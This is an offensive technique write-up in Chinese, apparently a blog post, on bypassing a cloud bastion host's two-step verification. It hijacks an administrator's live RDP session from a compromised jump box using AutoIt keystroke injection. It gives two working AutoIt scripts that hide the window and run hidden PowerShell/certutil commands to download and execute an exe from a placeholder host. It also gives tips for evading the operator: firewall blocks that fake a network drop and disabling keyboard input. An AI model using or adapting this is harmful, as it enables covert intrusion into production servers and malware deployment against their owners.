AutoIt SendKey绕过云盾堡垒机两步验证

利用环境

阿里云云盾堡垒机后是Windows server的生产环境机器,运维通过rdp到云盾堡垒机,再去选择服务器连接。虽然有了堡垒机的账号密码,但登录云盾堡垒机需要两步验证码,又没办法获取到运维的MFA,所以无法直接登录。在这种情况下,可通过SendKey的方式,来获取线上服务器权限。

RDP协议运维 - 堡垒机 - 阿里云

运维登录过程:从本机RDP到跳板机(windows server 2012 R2) ==> 通过跳板机再RDP到阿里云堡垒机(输入堡垒机账号和两步验证码)==> 堡垒机再走rdp协议连接到线上服务器。

其中跳板机可控,目标有一个普通用户专门用来连接堡垒机。

SendKey

SendKey其实就是发送键盘指令。Windows下可以通过向某个窗口发送键盘指令来执行命令。

例如发送WIN+R打开运行窗口,再发送cmd就会弹出命令行窗口。这个过程就像你自己在键盘上按WIN+R,打开cmd的方式一样。

mstsc程序的键盘设置必须是在远程计算机上。这样发送组合键才会发送到RDP的窗口去。

推荐使用AutoIt来编写SendKey的程序。除此之外还有powershell版的WASP来SendKey,但是WASP不如AutoIt的可定制化程度高。

整体的思路是:当运维登录堡垒机时(已经连上了线上服务器,即开启了RDP窗口),在跳板机执行AutoIt编写的exe,就会向堡垒机的RDP窗口发送键盘指令。比如发送WIN+R之后紧接着发送POWERSHELL -WINDOWSTYLE HIDDEN -C "CERTUTIL -URLCACHE -SPLIT -F HTTPS://xxx.com/xxx.exe C:/WINDOWS/TASKS/xxx.exe;C:/WINDOWS/TASKS/xxx.exe"来下载exe并执行。过程很简单,但是有很多细节和坑点需要注意,下面细说一下,代码在最后。

利用思路

当运维登录堡垒机时(已经连上了线上服务器,即开启了RDP窗口),在跳板机执行AutoIt编写的exe,就会向堡垒机的RDP窗口发送键盘指令。

比如发送WIN+R之后,紧接着发送

1
POWERSHELL -WINDOWSTYLE HIDDEN -C "CERTUTIL -URLCACHE -SPLIT -F <HTTPS://xxx.com/xxx.exe> C:/WINDOWS/TASKS/xxx.exe;C:/WINDOWS/TASKS/xxx.exe"

即可下载exe并执行。过程很简单,但是有很多细节和坑点需要注意,下面主要细说一下,代码在最后。

细节处理

在发送指令的过程中不能被干扰,如果在SendKey的时候,RDP窗口内的聚焦不在WIN+R打开的运行窗口或cmd.exe的窗口内,那么就会输入到其他地方。并且还有最重要的一点要处理:总不能当着管理员的面WIN+R弹个框,输入一堆命令执行吧–_–

解决办法

  1. 可以在发送指令的时候先隐藏这个RDP窗口(不是最小化,是直接隐藏这个窗口),AutoIt可以实现。这样管理员无法操控和看到这个窗口,如果你有跳板机的管理员权限,甚至可以禁用键盘输入。这样更不容易影响SendKey的过程。整个过程执行完,运维看到窗口消失的时间大概3-4秒。
  2. 在SendKey的过程中,可以在跳板机上添加一条防火墙,阻断目标对跳板机的连接,也就3-4秒时间,之后再给他恢复就好了。

在有跳板机管理员权限的情况下,推荐第二种。这样可能以为是网络波动暂时断了而已,第一种方法窗口突然消失,次数多了,管理员会去排查问题。

注意事项

  1. SendKey的方式,并不是百分百成功率。

    某种极端情况:假如把运维的连接的rdp窗口隐藏后,运维疯狂按键盘,这种是百分百失败(WIN+R那里输入的字符串会乱,但疯狂点鼠标不会有影响)。所以最好拿到跳板机的管理员权限,这样可以通过禁用键盘输入来提高成功率。保险起见还可以加上防火墙规则,使跳板机与服务器之间的状态变为正在连接,这时再来执行。

  2. 阿里云堡垒机默认有录屏功能,如果目标去查看录像,就很容易被发现。

AutoIt代码

第一版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <AutoItConstants.au3>
Local $aList = WinList("192.168.1.1:3389 - 远程桌面连接")
For $i = 1 To $aList[0][0]
Example($aList[$i][1]))
sleep(8000)
Next
Func Example($hWnd)
Local $iState = WinGetState($hWnd);判断是否是最小化
WinSetState($hWnd,"",@SW_HIDE)
SendKeepActive($hWnd)
Send("#r")
sleep(800)
Send("{DEL 2}")
Send("{SHIFTDOWN}");全部大写,是为了解决输入法的问题
Send("{SHIFTUP}")
sleep(800)
Opt("SendKeyDelay", 0)
Send('POWERSHELL{SPACE}{SPACE}-WINDOWSTYLE{SPACE}{SPACE}HIDDEN{SPACE}{SPACE}-C{SPACE}{SPACE}"CERTUTIL{SPACE}{SPACE}-URLCACHE{SPACE}{SPACE}-SPLIT{SPACE}{SPACE}-F{SPACE}{SPACE}HTTPS://XXX.com/XXX.PNG{SPACE}{SPACE}C:/WINDOWS/TASKS/XXX.EXE;C:/WINDOWS/TASKS/XXX.EXE"')
Sleep(500)
Send("{enter}{enter}")
sleep(500)
WinSetState($hWnd,"",@SW_SHOW)
If BitAND($iState, $WIN_STATE_MINIMIZED) Then
WinSetState($hWnd,"",@SW_MINIMIZE)
EndIf
EndFunc

第二版

上面的代码利用的Sendkey单个字符串的逐步发送(就像敲键盘一样),有一定的输入时间,并且输入过程容易受到干扰导致字符串出错。

经过一阵摸索后,发现可以利用剪贴板,来直接进行粘贴复制,速度相比以前快了很多,还不用关心目标系统上输入法的问题(如果隐藏窗口的话,窗口消失就1s)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <AutoItConstants.au3>
ClipPut("POWERSHELL -W HIDDEN -C IWR HTTPS://xxx.COM/xx.CAB -OUTF $ENV:TMP/xx.CAB;EXPAND $ENV:TMP/xx.CAB -F:* $ENV:TMP;&$ENV:TMP/xx.exe")
Local $hWnd=HWnd($CmdLine[1]) ;handle
ControlFocus($hWnd,"","")
Local $iState = WinGetState($hWnd);判断是否是最小化
If BitAND($iState, $WIN_STATE_MINIMIZED) Then
WinSetState($hWnd,"",@SW_RESTORE)
Else
WinSetState($hWnd,"",@SW_HIDE)
EndIf
ControlSend($hWnd,"","","#r")
ControlSend($hWnd,"","","+{INS}")
;Sleep(3000)
ControlSend($hWnd,"","","{enter}")
Sleep(300)
If BitAND($iState, $WIN_STATE_MINIMIZED) Then
WinSetState($hWnd,"",@SW_MINIMIZE)
Else
WinSetState($hWnd,"",@SW_SHOW)
EndIf
ControlFocus("","","")
ClipPut("")